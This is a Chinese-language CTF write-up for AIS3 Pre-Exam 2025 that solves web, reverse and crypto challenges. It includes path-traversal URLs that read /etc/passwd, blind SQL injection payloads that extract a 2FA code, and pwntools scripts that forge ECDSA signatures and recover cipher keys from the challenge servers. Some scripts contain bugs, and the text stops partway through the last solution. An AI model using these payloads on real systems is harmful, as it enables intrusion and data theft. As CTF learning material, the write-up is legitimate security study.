AIS3 Pre-Exam 2025

misc

Welcome

image

複製下來會變這樣: A I S 3 { T h i s _ I s _ J u s t _ A _ F a k e _ F l a g _ ~ ~ }

原因是因為他用了 css 偽元素 image

解法

禁用 css 就可以正常複製 或是你可以一個一個打 AIS3{Welcome_And_Enjoy_The_CTF_!}


Ramen CTF

題目: chal

講思考過程好像有點複雜 直接看我跟 ai 的對話好了

這題的目標是找到圖片中的拉麵店,圖片中的拉麵被猴子圖案遮住,發票上是平和兩個字,左邊的盤子應該是加麵盤,右上角看起來是店內內用的飲料杯,找到哪間拉麵之後可以從 googlemap 中找到這張圖,這題 osint 可以幫幫我嗎,根據發票可以確定他一定是位於台灣的店,因為只有台灣會開這種二聯式發票,他的湯匙是紅色的,右上角看起來是店內飲料是用紙杯裝的,燈光來看感覺是頭頂燈,桌子的紋路以及材質是細節,白色的碗通常是雞白湯或鹽味拉麵,主要是我沒什麼看過紅色湯匙的拉麵店,可以注意到靠近身體的地方有一個很像燈的東西,那好像是用來放飲料杯的?

我依照著我吃拉麵的經驗推敲出來這些細節加上一些要求 perplexity 做的事情 結果是完全沒用

解題

所以最後還是要看發票,但平和到底是哪裡這是最大的問題 再者有一個賣方數字,那個之後知道是統編的意思 可是他只有 7 位數,要 8 位數才找的到 可能有人會問那掃 qr code 最一開始就掃過,什麼都沒有跑出來,原因是角度很難掃 那最後怎麼解出來的 一樣是掃 qr code

MF1687991111404137095000001f4000001f40000000034785923VG9sG89nFznfPnKYFRlsoA==:**********:2:2:1:蝦拉

可以推測蝦拉應該是品名 前面的 mf 在發票上也有出現,所以應該是發票號碼 接著我去查發票的 qr code

image

接著查賣方的統編就可以查到一間拉麵 image

googlemap 可以看到一間跟名字不一樣的拉麵,但位置一樣 image

通過發票可以知道答案其實就是蝦拉麵

image

答案是:AIS3{樂山溫泉拉麵:蝦拉麵}

感謝這題讓我找到超多沒看過的拉麵店 有基隆的還有高雄的 (perplexity 會跑出日本的熊貓拉麵)


AIS3 Tiny Server - Web / Misc

如果執行在桌面就會把桌面目錄整個顯示出來的網頁 想了很久,才透過 curl 成功

解題

由於題目說這個網頁沒有任何防護 並且我是 reverse 解完才確定解法的 這題就是任意目錄遍歷 題目說 flag 在 /readable_flag_somerandomstring 所以前面一直在想到底怎麼通靈到檔名 但不可能一定有方法看到

後來發現了原來 passwd 可以被看到,那一切就只剩下 flag 在哪的問題了 http://chals1.ais3.org:20472/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd

我看根目錄 http://chals1.ais3.org:20472/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f

<html><head><style>body{font-family: monospace; font-size: 13px;}td {padding: 1.5px 6px;}</style></head><body><table>
<tr><td><a href="lib32/">lib32/</a></td><td>2025-05-21 15:12</td><td>[DIR]</td></tr>
<tr><td><a href="tmp/">tmp/</a></td><td>2025-05-21 15:12</td><td>[DIR]</td></tr>
<tr><td><a href="libx32/">libx32/</a></td><td>2025-05-21 15:12</td><td>[DIR]</td></tr>
<tr><td><a href="mnt/">mnt/</a></td><td>2025-04-15 14:03</td><td>[DIR]</td></tr>
<tr><td><a href="var/">var/</a></td><td>2025-05-21 15:12</td><td>[DIR]</td></tr>
<tr><td><a href="lib64/">lib64/</a></td><td>2025-04-15 14:10</td><td>[DIR]</td></tr>
<tr><td><a href="sys/">sys/</a></td><td>2025-05-24 08:10</td><td>[DIR]</td></tr>
<tr><td><a href="lib/">lib/</a></td><td>2025-05-21 15:12</td><td>[DIR]</td></tr>
<tr><td><a href="srv/">srv/</a></td><td>2025-04-15 14:03</td><td>[DIR]</td></tr>
<tr><td><a href="opt/">opt/</a></td><td>2025-05-21 15:12</td><td>[DIR]</td></tr>
<tr><td><a href="bin/">bin/</a></td><td>2025-05-21 15:12</td><td>[DIR]</td></tr>
<tr><td><a href="run/">run/</a></td><td>2025-04-15 14:10</td><td>[DIR]</td></tr>
<tr><td><a href="etc/">etc/</a></td><td>2025-05-25 16:30</td><td>[DIR]</td></tr>
<tr><td><a href="sbin/">sbin/</a></td><td>2025-04-15 14:10</td><td>[DIR]</td></tr>
<tr><td><a href="usr/">usr/</a></td><td>2025-04-15 14:03</td><td>[DIR]</td></tr>
<tr><td><a href="proc/">proc/</a></td><td>2025-05-25 16:30</td><td>[DIR]</td></tr>
<tr><td><a href="media/">media/</a></td><td>2025-04-15 14:03</td><td>[DIR]</td></tr>
<tr><td><a href="dev/">dev/</a></td><td>2025-05-25 16:30</td><td>[DIR]</td></tr>
<tr><td><a href="home/">home/</a></td><td>2022-04-18 10:28</td><td>[DIR]</td></tr>
<tr><td><a href="boot/">boot/</a></td><td>2022-04-18 10:28</td><td>[DIR]</td></tr>
<tr><td><a href="readable_flag_QnmgzMnawQw7oU5pbJTJhluIxOrukoCf">readable_flag_QnmgzMnawQw7oU5pbJTJhluIxOrukoCf</a></td><td>2025-05-25 16:30</td><td>54</td></tr>
<tr><td><a href=".dockerenv">.dockerenv</a></td><td>2025-05-25 16:30</td><td>0</td></tr>
<tr><td><a href="readflag">readflag</a></td><td>2025-05-22 16:22</td><td>884.1K</td></tr>
* shutting down connection #0
</table></body></html>  

其中就有發現 flag 在這 http://chals1.ais3.org:20472/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2freadable_flag_QnmgzMnawQw7oU5pbJTJhluIxOrukoCf

直接去訪問他就有 flag 了

AIS3{tInY_weB_53rVeR_wITH_FIL38r0Ws1n9_aS@_Fe4TURE}


web

Tomorin db

image golang:1.23.1-alpine

題目下載下來是用 docker 在本機跑 最重要的程式碼

package main

import "net/http"

func main() {
	http.Handle("/", http.FileServer(http.Dir("/app/Tomorin")))
	http.HandleFunc("/flag", func(w http.ResponseWriter, r *http.Request) {
		http.Redirect(w, r, "https://youtu.be/lQuWN0biOBU?si=SijTXQCn9V3j4Rl6", http.StatusFound)
  	})
  	http.ListenAndServe(":30000", nil)
}

先前情提要所有東西都在 /app/Tomorin 裡面 在 go 裡面如果只有一個斜線的話他會顯示所有檔案 image

解題

這題考點很明顯,如果你訪問 /flag 就會帶你去聽 my go 的音樂 所以要想辦法不要被重定向,同時不移動目錄 我試過移動目錄和 https://cve.imfht.com/detail/CVE-2025-22871 而後者要有 proxy 才會成功

最後我試到 /..%2fflag 就有flag 了 如果是用 /../flag 會是 301 錯誤

AIS3{G01ang_H2v3_a_c0O1_way!!!_Us3ing_C0NN3ct_M3Th07_L0l@T0m0r1n_1s_cute_D0_yo7_L0ve_t0MoRIN?}

Login Screen 1

這題花了很多時間,因為我不想打 sql 盲注,雖然我不知道別人怎麼解的 簡單來說就是帳號密碼都是 admin,要繞過 2fa ,任何方法都試過了,只能想辦法把 2fa 的 code 注出來

解法

$stmt = $db->prepare("SELECT * FROM Users WHERE username = '$username'");
        $result = $stmt->execute();
        $user = $result->fetchArray();

其實就是他可以 sql injection,但他不會回傳東西給你,等於這題只能盲注 他給的sourse code 有寫欄位 image

並且裡面有說他的 2fa 只有接受數字

(preg_match('/[^0-9]/', $code)) { //部分原 code 2fa.php

然後這題在本地是架不起來的,主辦方說正常

可以透過這串來慢慢試 code 有多長,如果成功他會要你輸入 2fa,記得要去刪 cookie ,不然輸入什麼他都會進到 2fa 裡 我試出來是 20 個數字

admin' AND LENGTH((SELECT code FROM Users WHERE username='admin'))=長度 --

方法同上,這是查數字對不對

admin' AND SUBSTR((SELECT code FROM Users WHERE username='admin'),第幾個字,1)='是多少'

解出來: 51756447753485459839

AIS3{1.Es55y_SQL_1nJ3ct10n_w1th_2fa_IuABDADGeP0}

PS. 手動的原因是好像很多人在用 sqlmap 掃,主辦決定要 ban 人,我怕被 ban


rev

web flag checker

題目進去就是一個檢查 flag 的輸入的地方 image

打開 f12 的時候我想說蛤這是要代碼審計嗎 (index.js),但顯然沒有那麼簡單 image

在 sources 裡面我發現了一個 wasm 的檔案 裡面看起來才是我們要來逆向的東西

image

wasm 也就是 web 的組合語言 https://zh.wikipedia.org/zh-tw/WebAssembly

所以我就將裡面程式碼複製下來 假設這題真的是這樣做,flag 在確認對不對時,一定有一個儲存 flag 的地方(我不知道有沒有例外),所以當我複製下來貼到記事本時,我做的第一件事情是尋找有沒有叫做 flagchecker 的函數,結果幸好有

image

你可能會問那接下來呢,那只能去查他的意思 https://developer.mozilla.org/en-US/docs/WebAssembly/Reference/Numeric

(或是你可以把這個大量的作業交給 ai 來做)

並且可以同時把看起來就不正常的數字記錄下來 image image image

第一張圖以及第三張圖這個數字出現了兩次,並且第三張圖非常重要 中間很明顯是把 flag 分成 5 組,每組是 8 bytes,總共 40 個字元 其中有兩組是負數

再來解釋第三段,他 set 了 var42 然後後面還 get 了 var42,所以我假設他是 i 然後他將 6 推入堆疊, mul 也就是計算,接著他把 -39934163 推入堆疊 然後 shr_u 是無符號向右邊移動, 6 位為一組 他將常數 63 推入堆疊,這裡應該是範圍 0 ~ 63,and 過後的常數會被轉成二進制

以上可以發現題目將一大串位元橫向往右邊移動,每六位一組,範圍是 0~63

而我得出這串算試

shift = ((-39934163 >> (6 * i)) & 0x3F)

解題

也就是說我們要透過位元旋轉來對 flag 進行解密 https://hackmd.io/@sysprog/bitwise-rotation


// 因為他向右橫移,所以我向左移動,並且將高位移到低位形成一個環
def circular(number, bits, max_bits=64):
    return ((number << bits) & (2**max_bits - 1)) | (number >> (max_bits - bits))

//負數可以經過 ((1<<64)-1) 取得他的補數
targets = [
    7577352992956835434,
    7148661717033493303,
    -7081446828746089091 & ((1<<64)-1),
    -7479441386887439825 & ((1<<64)-1),
    8046961146294847270
]

shift_number = -39934163
flag_bytes = b''

for i in range(5):
    shift = ((shift_number >> (6 * i)) & 0x3F)
    val = targets[i]
    org = circular(val, 64 - shift)
    
    //還原過後的 64 為整數按照小端序
    flag_bytes += org.to_bytes(8, 'little')

print(flag_bytes.decode())

AIS3 Tiny Server - Reverse

這題 reverse 裡面還塞了 web 跟 pwn 蠻酷的 一開始用 r2 可以發現裡面沒有 main 然後 func 有一堆,但可以看到有一些函數裡面的內容特別大

解題

用 r2 之後,發現有幾個函數比較大,或許主要程式就寫在這裡

image

在 FUN_00012110() 這個函數發現他有呼叫 FUN_000017e0 ,他會處裡以及與 AIS3-Flag 比對

image

而在 FUN_000017e0 可以發現他在檢查 flag 是否正確 image

他呼叫了 FUN_00011e20,在這裡可以發現

  bool FUN_00011e20(int param_1)

{
  byte bVar1;
  int iVar2;
  uint uVar3;
  uint uVar4;
  byte bVar5;
  undefined4 local_49;
  undefined4 local_45;
  undefined2 local_41;
  undefined4 local_3e;
  undefined4 local_3a;
  undefined4 local_36;
  undefined4 local_32;
  undefined4 local_2e;
  undefined4 local_2a;
  undefined4 local_26;
  undefined4 local_22;
  undefined4 local_1e;
  undefined4 local_1a;
  undefined4 local_16;
  undefined2 local_12;
  
  bVar5 = 0x33;
  local_12 = 0x14;
  bVar1 = 0x72;
  local_3e = 0x58382033;
  local_3a = 0x475c2812;
  local_36 = 0xf2d5229;
  local_32 = 0xe0a5a;
  local_2e = 0x5013580f;
  local_2a = 0x34195a19;
  local_26 = 0x43333158;
  local_22 = 0x5a044113;
  local_1e = 0x2c583419;
  local_1a = 0x3465333;
  local_16 = 0x4a4a481e;
  local_49 = 0x6b6b6972;
  local_45 = 0x306c5f69;
  local_41 = 0x3376;
  uVar3 = 0;
  while( true ) {
    *(byte *)((int)&local_3e + uVar3) = bVar1 ^ bVar5;
    uVar4 = uVar3 + 1;
    if (uVar4 == 0x2d) break;
    bVar5 = *(byte *)((int)&local_3e + uVar3 + 1);
    bVar1 = *(byte *)((int)&local_49 + uVar4 % 10);
    uVar3 = uVar4;
  }
  iVar2 = 0;
  while ((*(char *)(param_1 + iVar2) != '\0' &&
         (*(char *)(param_1 + iVar2) == *(char *)((int)&local_3e + iVar2)))) {
    iVar2 = iVar2 + 1;
    if (iVar2 == 0x2d) {
      return *(char *)(param_1 + 0x2d) == '\0';
    }
  }
  return false;
}

看起來他會進行 xor image

flag 會跟最後 0x6b… 和 0306… 進行 xor image

看到驗證就代表,驗證本身也在這裡面,驗證本身還有一個金鑰 密文總共 45 bytes,key 是 10 bytes key 轉換成 ASCII 是 rkki0_lv3

迴圈的最一開始先將 var1 跟 var5 進行 xor 得到一個明文字原,然後下一輪的 var5 會取密文的下一個 bytes,下一輪的 var1 會 mod key 組裝的部分使用小端序的無號整數 (4bytes) 組裝密文 struct.pack(‘<I’, v),明文用小端序的無號整數+小端序的無號短整數 (2bytes),最後解出 45 bytes 就是 flag

import struct

def decrypt_flag():
    data_vals = [0x58382033, 0x475c2812, 0x0f2d5229, 0xe0a5a,
                 0x5013580f, 0x34195a19, 0x43333158, 0x5a044113,
                 0x2c583419, 0x03465333, 0x4a4a481e]
    
    data_bytes = b''.join(struct.pack('<I', v) for v in data_vals)
    data_bytes += struct.pack('<H', 0x0014) 
    

    key_vals = [0x6b6b6972, 0x306c5f69]
    key_bytes = (struct.pack('<I', key_vals[0]) + 
                 struct.pack('<I', key_vals[1]) + 
                 struct.pack('<H', 0x3376))
    
    Var5 = 0x33  
    Var1 = 0x72  
    decrypted = bytearray()
    
    for i in range(45):  
        decrypted.append(bVar1 ^ bVar5)
        
        next_Var5 = data_bytes[i+1]          
        next_Var1 = key_bytes[(i+1) % 10]     
        Var5, Var1 = next_Var5, next_Var1
    
    return decrypted

flag = decrypt_flag()
print(f"解密後的Flag: {flag.decode()}")

AIS3{w0w_a_f1ag_check3r_1n_serv3r_1s_c00l!!!}


crypto

Stream

from random import getrandbits
import os
from hashlib import sha512
from flag import flag

def hexor(a: bytes, b: int):
    return hex(int.from_bytes(a)^b**2)

for i in range(80):
    print(hexor(sha512(os.urandom(True)).digest(), getrandbits(256)))

print(hexor(flag, getrandbits(256)))

題目先定義了一個 fun bytes, int 輸入的 bytes 會跟輸入的 int xor 之後平方,然後將數字轉成 hex

迴圈會執行 80 次,也就是到時候回出現 80 個檔案 用單節隨機數先經過 sha-512 加密,之後用他跟隨機的 256 bytes丟回上面的函式 最後 flag 與 隨機的256 bytes 進行他的函式 output.txt 檔案裡面就是這 80 個被加密過的檔案 + flag 的檔案

解題

從 python 的官方文件可以知道 random 是有一個獨特的算法的,Mersenne-Twister

… Python 使用 Mersenne Twister(梅森旋轉演算法)作為核心的產生器,它產生 53 位元精度 float,其週期為 2**19937-1 …

https://docs.python.org/zh-tw/3.13/library/random.html

從他的 wikipedia 也可以看到 PYTHON 範例的梅森旋轉算法

https://zh.wikipedia.org/zh-tw/%E6%A2%85%E6%A3%AE%E6%97%8B%E8%BD%AC%E7%AE%97%E6%B3%95

這題的問題在於,os.urandom(True) 只產生出 1 byte ,所有可能的值就只有 256 種,所以可以建立一個查詢表,就有辦法解密出來 getrandbits(256) 會產生一個 256 位元的偽隨機數。 如果 getrandbits 使用的是像 random 模組這樣的可預測的 PRNG,那麼我們可能可以從前面的 80 個輸出中推斷出 PRNG 的內部狀態,進而預測出用於 flag 的那個 getrandbits(256) 值。

看起來這是一個 PRNG 的問題 https://ctf-wiki.org/crypto/streamcipher/prng/intro/

所以首先要先建立一個 256 種 1 byte 輸入的 sha-256 對照表。 對每個輸出,遍歷所有可能的 digest,將他們 xor 之後檢查是否為完全平方數,還原所有隨機數 然後遍歷了前 80 個數值對每個值與 hash 表中的 key 進行 xor,接著用 isqrt 檢查是否為完全平方數 接著要還原梅森旋轉算法,可以使用 wikipedia 中提供的範例 解出來之後要將 256 位的隨機值轉換成 32 位,裡面有 624 位數 最後 setstate 先測試前兩位的值是否正確,如果正確的話就將 flag 的值轉回明文

#!/usr/bin/python3
from hashlib import sha512
from math import isqrt
from struct import unpack
from random import Random
from pathlib import Path

def load_data(filepath="output.txt"):
    data_lines = Path(filepath).read_text().splitlines()
    hex_values = [int(line, 16) for line in data_lines if line.strip()]
    assert len(hex_values) == 81
    return hex_values

def build_hash_mapping():
    hash_map = {}
    for byte_value in range(256):
        digest = sha512(bytes([byte_value])).digest()
        hash_map[int.from_bytes(digest, "big")] = byte_value
    return hash_map

def random_values(data, hash_mapping):
    random_values = []
    for position, value in enumerate(data[:80]):
        found = False
        for key, byte_val in hash_mapping.items():
            square = value ^ key
            root_value = isqrt(square)
            
            if root_value ** 2 == square and root_value.bit_length() <= 256:
                random_values.append(root_value)
                found = True
                break
        
        if not found:
            raise RuntimeError(f"Cannot recover random value at position {position}")
    
    return random_values

def right_shift_xor(input, shift):
    output = input
    for _ in range(5):
        output = input ^ (output >> shift)
    return output & 0xFFFFFFFF

def left_shift_xor_mask(input, shift, mask):
    output = input
    for _ in range(5):
        output = input ^ ((output << shift) & mask)
    return output & 0xFFFFFFFF

def untempering_transform(tempered):
    step1 = right_shift_xor(tempered, 18)
    step2 = left_shift_xor_mask(step1, 15, 0xEFC60000)
    step3 = left_shift_xor_mask(step2, 7, 0x9D2C5680)
    final = right_shift_xor(step3, 11)
    return final & 0xFFFFFFFF

def reconstruct_mt(random_val):
    mt_output = []
    for rand_value in random_val[:78]:
        bytes = rand_value.to_bytes(32, "big")
        words = unpack(">8I", bytes)
        mt_output.extend(words[::-1])
    
    return [untempering_transform(val) for val in mt_output]

def main():
    data = load_data()
    hash_mapping = build_hash_mapping()
    random_value = random_values(data, hash_mapping)
    mt_internal = reconstruct_mt(random_value)
    prng = (3, tuple(mt_internal) + (624,), None)
    mt = Random()
    mt.setstate(prng)
    ver1 = mt.getrandbits(256)
    ver2 = mt.getrandbits(256)
    
    assert ver1 == random_value[78]
    assert ver2 == random_value[79]
    
    key = mt.getrandbits(256)
    flag = data[80] ^ (key ** 2)
    byte_length = (flag.bit_length() + 7) // 8
    flag_text = flag.to_bytes(byte_length, "big").decode()
    print("Flag =", flag_text)

if __name__ == "__main__":
    main()



AIS3{no_more_junks…plz}


Random_RSA

from Crypto.Util.number import getPrime, bytes_to_long
from sympy import nextprime
from gmpy2 import is_prime

FLAG = b"AIS3{Fake_FLAG}"

a = getPrime(512)
b = getPrime(512)
m = getPrime(512)
a %= m
b %= m
seed = getPrime(300)

rng = lambda x: (a*x + b) % m


def genPrime(x):
    x = rng(x)
    k=0
    while not(is_prime(x)):
        x = rng(x)
    return x

p = genPrime(seed)
q = genPrime(p)

n = p * q
e = 65537
m_int = bytes_to_long(FLAG)
c = pow(m_int, e, n)

# hint
seed = getPrime(300)
h0 = rng(seed)
h1 = rng(h0)
h2 = rng(h1)

with open("output.txt", "w") as f:
    f.write(f"h0 = {h0}\n")
    f.write(f"h1 = {h1}\n")
    f.write(f"h2 = {h2}\n")
    f.write(f"M = {m}\n")
    f.write(f"n = {n}\n")
    f.write(f"e = {e}\n")
    f.write(f"c = {c}\n")

output: image

題目用 LCG (https://zh.wikipedia.org/zh-tw/%E7%B7%9A%E6%80%A7%E5%90%8C%E9%A4%98%E6%96%B9%E6%B3%95) 生成了 RSA 的兩個質數因子,其中 a、b、m 都是 512 位的質數 h0, h1, h2 是三個連續的 LCG 輸出值 LCG 最大的問題在於他的計算是以線性為主 攻擊的人可以透過少量的輸出推導出內部函數 當 RSA 使用 LCG 產生的質數時,攻擊者就可以推導出 RSA 使用的質數

解題

所以第一步是還原 LCG 參數 我們可以透過 h0、h1、h2 來求線性方乘組的解,確定乘數和增量參數

第二步是解平方根,用 Tonelli-Shanks 算法 https://ithelp.ithome.com.tw/m/articles/10345701 https://en.wikipedia.org/wiki/Tonelli%E2%80%93Shanks_algorithm

首先我先確定了給定的值是否為二次剩餘 然後我用找到的公式,計算平方根 詳情:https://blog.csdn.net/qq_51999772/article/details/122642868

image

第三步是找解 RSA 的 q、p,透過判別式尋找最適合的二次剩餘,當找到有效的值的時候,用最大公因數檢驗是否是 n 的因子

最後算 RSA 就解出 flag 了

#!/usr/bin/python3
from math import gcd
from Cryptodome.Util.number import inverse, long_to_bytes

h0 = 2907912348071002191916245879840138889735709943414364520299382570212475664973498303148546601830195365671249713744375530648664437471280487562574592742821690
h1 = 5219570204284812488215277869168835724665994479829252933074016962454040118179380992102083718110805995679305993644383407142033253210536471262305016949439530
h2 = 3292606373174558349287781108411342893927327001084431632082705949610494115057392108919491335943021485430670111202762563173412601653218383334610469707428133
M = 9231171733756340601102386102178805385032208002575584733589531876659696378543482750405667840001558314787877405189256038508646253285323713104862940427630413
n = 20599328129696557262047878791381948558434171582567106509135896622660091263897671968886564055848784308773908202882811211530677559955287850926392376242847620181251966209002883852930899738618123390979377039185898110068266682754465191146100237798667746852667232289994907159051427785452874737675171674258299307283
e = 65537
c = 13859390954352613778444691258524799427895807939215664222534371322785849647150841939259007179911957028718342213945366615973766496138577038137962897225994312647648726884239479937355956566905812379283663291111623700888920153030620598532015934309793660829874240157367798084893920288420608811714295381459127830201

def recover_lcg_params():
    diff1 = (h1 - h0) % M
    diff2 = (h2 - h1) % M
    multiplier = (diff2 * inverse(diff1, M)) % M
    increment = (h1 - multiplier * h0) % M
    return multiplier, increment

def compute_modular_sqrt(value, modulus):
    if value == 0:
        return [0]
    if pow(value, (modulus - 1) // 2, modulus) != 1:
        return []
    if modulus % 4 == 3:
        root = pow(value, (modulus + 1) // 4, modulus)
        return [root, modulus - root]
    
    quotient, shift = modulus - 1, 0
    while quotient % 2 == 0:
        quotient //= 2
        shift += 1
    
    base = 2
    while pow(base, (modulus - 1) // 2, modulus) != modulus - 1:
        base += 1
    
    coeff = pow(base, quotient, modulus)
    result = pow(value, (quotient + 1) // 2, modulus)
    temp = pow(value, quotient, modulus)
    counter = shift
    
    while temp != 1:
        index, temp_squared = 1, (temp * temp) % modulus
        while index < counter and temp_squared != 1:
            temp_squared = (temp_squared * temp_squared) % modulus
            index += 1
        
        power = pow(coeff, 1 << (counter - index - 1), modulus)
        result = (result * power) % modulus
        temp = (temp * power * power) % modulus
        coeff = (power * power) % modulus
        counter = index
    
    return [result, modulus - result] if result != modulus - result else [result]

def find_factors(mult, inc):
    for time_param in range(1, 1000):
        mult_power = pow(mult, time_param, M)
        const_term = (inc * (mult_power - 1) * inverse((mult - 1) % M, M)) % M
        
        discriminant = (const_term * const_term + 4 * mult_power * n) % M
        sqrt_candidates = compute_modular_sqrt(discriminant, M)
        
        for sqrt_val in sqrt_candidates:
            inv_double = inverse((2 * mult_power) % M, M)
            candidate = ((-const_term + sqrt_val) * inv_double) % M
            
            factor = gcd(candidate, n)
            if 1 < factor < n and n % factor == 0:
                return factor, n // factor
    
    return None, None

def decrypt_message(prime1, prime2):
    totient = (prime1 - 1) * (prime2 - 1)
    private_exp = inverse(e, totient)
    plaintext = pow(c, private_exp, n)
    return long_to_bytes(plaintext)

def main():
    mult, inc = recover_lcg_params()
    prime1, prime2 = find_factors(mult, inc)
    if prime1 and prime2:
        flag = decrypt_message(prime1, prime2)
        print("Flag:", flag.decode())

if __name__ == "__main__":
    main()

AIS3{1_d0n7_r34lly_why_1_d1dn7_u53_637pr1m3}


SlowECDSA

#!/usr/bin/env python3

import hashlib, os
from ecdsa import SigningKey, VerifyingKey, NIST192p
from ecdsa.util import number_to_string, string_to_number
from Crypto.Util.number import getRandomRange
from flag import flag

FLAG = flag

class LCG:
    def __init__(self, seed, a, c, m):
        self.state = seed
        self.a = a
        self.c = c
        self.m = m

    def next(self):
        self.state = (self.a * self.state + self.c) % self.m
        return self.state

curve = NIST192p
sk = SigningKey.generate(curve=curve)
vk = sk.verifying_key
order = sk.curve.generator.order()

lcg = LCG(seed=int.from_bytes(os.urandom(24), 'big'), a=1103515245, c=12345, m=order)

def sign(msg: bytes):
    h = int.from_bytes(hashlib.sha1(msg).digest(), 'big') % order
    k = lcg.next()
    R = k * curve.generator
    r = R.x() % order
    s = (pow(k, -1, order) * (h + r * sk.privkey.secret_multiplier)) % order
    return r, s

def verify(msg: str, r: int, s: int):
    h = int.from_bytes(hashlib.sha1(msg.encode()).digest(), 'big') % order
    try:
        sig = number_to_string(r, order) + number_to_string(s, order)
        return vk.verify_digest(sig, hashlib.sha1(msg.encode()).digest())
    except:
        return False

example_msg = b"example_msg"
print("==============SlowECDSA===============")
print("Available options: get_example, verify")

while True:
    opt = input("Enter option: ").strip()

    if opt == "get_example":
        print(f"msg: {example_msg.decode()}")
        example_r, example_s = sign(example_msg)
        print(f"r: {hex(example_r)}")
        print(f"s: {hex(example_s)}")

    elif opt == "verify":
        msg = input("Enter message: ").strip()
        r = int(input("Enter r (hex): ").strip(), 16)
        s = int(input("Enter s (hex): ").strip(), 16)

        if verify(msg, r, s):
            if msg == "give_me_flag":
                print("✅ Correct signature! Here's your flag:")
                print(FLAG.decode())
            else:
                print("✔️ Signature valid, but not the target message.")
        else:
            print("❌ Invalid signature.")

    else:
        print("Unknown option. Try again.")

image

橢圓曲線數位簽章演算法(ECDSA) https://zh.wikipedia.org/zh-tw/%E6%A4%AD%E5%9C%86%E6%9B%B2%E7%BA%BF%E6%95%B0%E5%AD%97%E7%AD%BE%E5%90%8D%E7%AE%97%E6%B3%95

這題是一個 NIST192p橢圓曲線的ECDSA,系統通過 LCG 來產生 K 系統有兩個功能 get_example 允許 獲取固定訊息 example_msg verify 允許提交訊息和對應的簽章進行驗證,若驗證成功且訊息為 give_me_flag 則輸出 flag 這題的問題就出現在 LCG 生的 K 是可被預測的

解法

所以我們要用 LCG 的線性性質回復私鑰,只要連續拿到 LCG 生的 K ,就可以建立一個私鑰的線性方程式 算出私鑰之後,我們有了 K1、K2、私鑰,用這三個值預測出 k3 (也就是下一個值),輸入 give_me_flag 後輸入 k3,驗證成功就可以拿到 flag

#!/usr/bin/python3
from pwn import *
import hashlib

a = 1103515245
c = 12345
order = 0xffffffffffffffffffffffff99def836146bc9b1b4d22831

def modinv(a, n):

    return pow(a, -1, n)

def sha1_int(msg):
    return int.from_bytes(hashlib.sha1(msg).digest(), 'big') % order

def recover_privkey(r1, s1, r2, s2, h):
    numerator = (a * s2 * h - s1 * h + c * s1 * s2) % order
    denominator = (r2 * s1 - a * r1 * s2) % order
    d = numerator * modinv(denominator, order) % order
    return d

def get_k(r, s, d, h):
    return ((h + r * d) * modinv(s, order)) % order

def next_lcg(k):
    return (a * k + c) % order

def sign_flag(d, k, msg):
    
    from ecdsa import NIST192p, ellipticcurve
    G = NIST192p.generator
    curve = NIST192p.curve
    h = sha1_int(msg)
    R = k * G
    r = R.x() % order
    s = (modinv(k, order) * (h + r * d)) % order
    return r, s

r = remote('chals1.ais3.org', 19000)

def get_example():
    r.sendlineafter(b'option:', b'get_example')
    r.recvuntil(b'msg: ')
    msg = r.recvline().strip()
    r.recvuntil(b'r: ')
    r = int(r.recvline().strip(), 16)
    r.recvuntil(b's: ')
    s = int(r.recvline().strip(), 16)
    return msg, r, s

msg1, r1, s1 = get_example()
msg2, r2, s2 = get_example()

h = sha1_int(msg1)
d = recover_privkey(r1, s1, r2, s2, h)

k1 = get_k(r1, s1, d, h)
k2 = get_k(r2, s2, d, h)
k3 = next_lcg(k2)

flag_msg = b'give_me_flag'
r, s = sign_flag(d, k3, flag_msg)

r.sendlineafter(b'option:', b'verify')
r.sendlineafter(b'message:', flag_msg.decode())
r.sendlineafter(b'r (hex):', hex(r))
r.sendlineafter(b's (hex):', hex(s))

r.interactive()

AIS3{Aff1n3_nounc3s_c@N_bE_broke_ezily…}


hill

import numpy as np

p = 251
n = 8


def gen_matrix(n, p):
    while True:
        M = np.random.randint(0, p, size=(n, n))
        if np.linalg.matrix_rank(M % p) == n:
            return M % p

A = gen_matrix(n, p)
B = gen_matrix(n, p)

def str_to_blocks(s):
    data = list(s.encode())
    length = ((len(data) - 1) // n) + 1
    data += [0] * (n * length - len(data))  # padding
    blocks = np.array(data, dtype=int).reshape(length, n)
    return blocks

def encrypt_blocks(blocks):
    C = []
    for i in range(len(blocks)):
        if i == 0:
            c = (A @ blocks[i]) % p
        else:
            c = (A @ blocks[i] + B @ blocks[i-1]) % p
        C.append(c)
    return C

flag = "AIS3{Fake_FLAG}"
blocks = str_to_blocks(flag)
ciphertext = encrypt_blocks(blocks)

print("Encrypted flag:")
for c in ciphertext:
    print(c)

t = input("input: ")
blocks = str_to_blocks(t)
ciphertext = encrypt_blocks(blocks)
for c in ciphertext:
    print(c)

image

這題是 CBC https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation

題目會生成兩個 8x8 的 A、B 作為密鑰 矩陣生成函數 gen_matrix 確保生成的矩陣在 p 運算下具有滿秩,這保證矩陣可逆性,只有當加密矩陣可逆時,解密過程才能正確執行。 str_to_blocks 會先把輸入的字串轉成 8 bytes ,字串被編碼成字節序列,然後加 0 讓他長度是 n 的倍數 題目在我們輸入的時候會給相同密鑰加密的矩陣

解法

送出 16 個區塊 8 bytes 的輸入,分為兩塊,前 8 塊是1,後 8 塊是 0,然後接收 flag 的密文 接著從收到的 16 個區塊分離出密鑰矩陣,奇數就是 矩陣 A,偶數是矩陣 B 用 Gauss-Jordan 來計算矩陣 A 的逆矩陣。當需要元素的模逆時,要用費馬小定理 獲得 A 的逆矩陣之後對於第一塊密文解密,後續的密文要減去前一個明文與 B 的乘積 最後把所有解密的數字矩陣轉成一維陣列,轉換成 byte ,移除零位元,轉文字拿到 flag

#!/usr/bin/env python3

from pwn import *
import numpy as np

P, N = 251, 8
HOST, PORT = "chals1.ais3.org", 18000

blocks = []
for j in range(N):
    e = [0]*N; e[j] = 1
    blocks.append(e)
    blocks.append([0]*N)
payload = ''.join(chr(x) for x in sum(blocks, [])).encode()

r = remote(HOST, PORT)
buf = r.recvuntil(b"input: ")
flag_ct = np.array([[int(x) for x in ln.strip(b"[]").split()]
                    for ln in buf.split(b"\n")[1:-1]], dtype=int) % P

r.sendline(payload)
cols = [np.fromstring(r.recvline().strip(b"[]"), sep=' ', dtype=int) % P
        for _ in range(16)]
r.close()

A = np.column_stack(cols[0::2]) % P
B = np.column_stack(cols[1::2]) % P

